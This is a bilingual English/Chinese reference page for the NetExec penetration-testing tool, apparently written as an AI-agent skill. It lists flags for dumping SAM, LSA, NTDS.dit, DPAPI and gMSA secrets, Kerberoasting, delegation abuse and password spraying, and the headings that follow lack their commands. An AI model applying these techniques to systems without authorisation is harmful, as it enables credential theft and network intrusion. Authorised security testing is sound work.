`--dpapi`	Dump DPAPI secrets
`--shares`	Enumerate SMB shares
`--users`	Enumerate users
`--pass-pol`	Get domain password policy
`--loggedon-users`	List logged-on users
`--spider`	Spider a share
`--laps`	Read LAPS password
`--asreproast`	ASREPRoast to file
`--kerberoasting`	Kerberoast to file
`--bloodhound`	Run BloodHound collector
`--find-delegation`	Find delegation misconfigs
`--no-bruteforce`	Pair user[i]:pass[i] mode
`--continue-on-success`	Don't stop at first valid
`--jitter`	Delay between requests
`--gen-relay-list`	Output relay-able hosts
`--delegate`	RBCD/S4U2Self impersonation
`--gmsa`	Dump gMSA passwords
`--ignore-opsec-warnings`	Suppress opsec warnings

Flag	用途
`-u`	用户名（或用户名字典文件）
`-p`	密码（或密码字典文件）
`-H`	NTLM hash
`-k`	Kerberos 认证
`--use-kcache`	使用 KRB5CCNAME ticket
`--local-auth`	本地用户（非域用户）
`--id`	使用数据库中的凭据 ID
`-x`	运行 CMD 命令
`-X`	运行 PowerShell 命令
`--exec-method`	强制使用 wmiexec/atexec/smbexec
`-M`	模块名称（可重复）
`-o`	模块选项 KEY=value
`-L`	列出可用模块
`--sam`	转储 SAM hash
`--lsa`	转储 LSA secret
`--ntds`	转储 NTDS.dit
`--dpapi`	转储 DPAPI secret
`--shares`	枚举 SMB share
`--users`	枚举用户
`--pass-pol`	获取域密码策略
`--loggedon-users`	列出已登录用户
`--spider`	遍历 share
`--laps`	读取 LAPS 密码
`--asreproast`	将 ASREPRoast 结果写入文件
`--kerberoasting`	将 Kerberoast 结果写入文件
`--bloodhound`	运行 BloodHound collector
`--find-delegation`	查找委派配置错误
`--no-bruteforce`	按 user[i]:pass[i] 配对
`--continue-on-success`	找到首个有效凭据后不停止
`--jitter`	请求之间的延迟
`--gen-relay-list`	输出可用于 relay 的主机
`--delegate`	RBCD/S4U2Self 模拟
`--gmsa`	转储 gMSA 密码
`--ignore-opsec-warnings`	隐藏 OpSec 警告

offensive-netexec

Original

Translation

NetExec (nxc) — Reference Skill

NetExec (nxc) — 参考 Skill

Global Syntax & Options

全局语法与选项

Available Protocols

可用协议

Target Formats

目标格式

Global Flags

全局 Flags

Authentication

身份验证

Core Auth Flags

核心认证 Flags

Domain Auth (SMB example)

域认证（SMB 示例）

Local Auth

本地认证

Kerberos Auth

Kerberos 认证

Auto-handle TGT using password

Auto-handle TGT using password

Use existing ccache ticket

Use existing ccache ticket

Specify KDC explicitly

Specify KDC explicitly

Multi-Domain Environments

多域环境

users.txt format:

users.txt format:

DOMAIN1\user1

DOMAIN1\user1

DOMAIN2\user2

DOMAIN2\user2

Output Color Codes

输出颜色代码

Pwn3d! Meaning by Protocol

Pwn3d! 的协议含义

Password Spraying & Brute Force

密码喷洒与暴力破解

Spray one password across many users

Spray one password across many users

Brute force (user × pass combinations)

Brute force (user × pass combinations)

Hash spraying

Hash spraying

Throttle to avoid lockouts

Throttle to avoid lockouts

IMPORTANT: --no-bruteforce pairs user[0]:pass[0], user[1]:pass[1], etc.

IMPORTANT: --no-bruteforce pairs user[0]:pass[0], user[1]:pass[1], etc.

Without it: every user × every password (full bruteforce)

Without it: every user × every password (full bruteforce)

Keep going after first valid credential found

Keep going after first valid credential found

SMB Protocol

SMB 协议

Network Discovery

网络发现

Map live hosts — get OS, hostname, domain, signing, SMBv1

Map live hosts — get OS, hostname, domain, signing, SMBv1

Expected output:

Expected output:

SMB 192.168.1.101 445 DC2016A [*] Windows Server 2016 x64 (name:DC2016A) (domain:CORP) (signing:True) (SMBv1:False)

SMB 192.168.1.101 445 DC2016A [*] Windows Server 2016 x64 (name:DC2016A) (domain:CORP) (signing:True) (SMBv1:False)

Enumeration

枚举

Shares and access

Shares and access

Null session share enum

Null session share enum

Guest logon check

Guest logon check

Domain users

Domain users

Enumerate users by bruteforcing RIDs (no domain creds needed)

Enumerate users by bruteforcing RIDs (no domain creds needed)

Password policy (check before spraying!)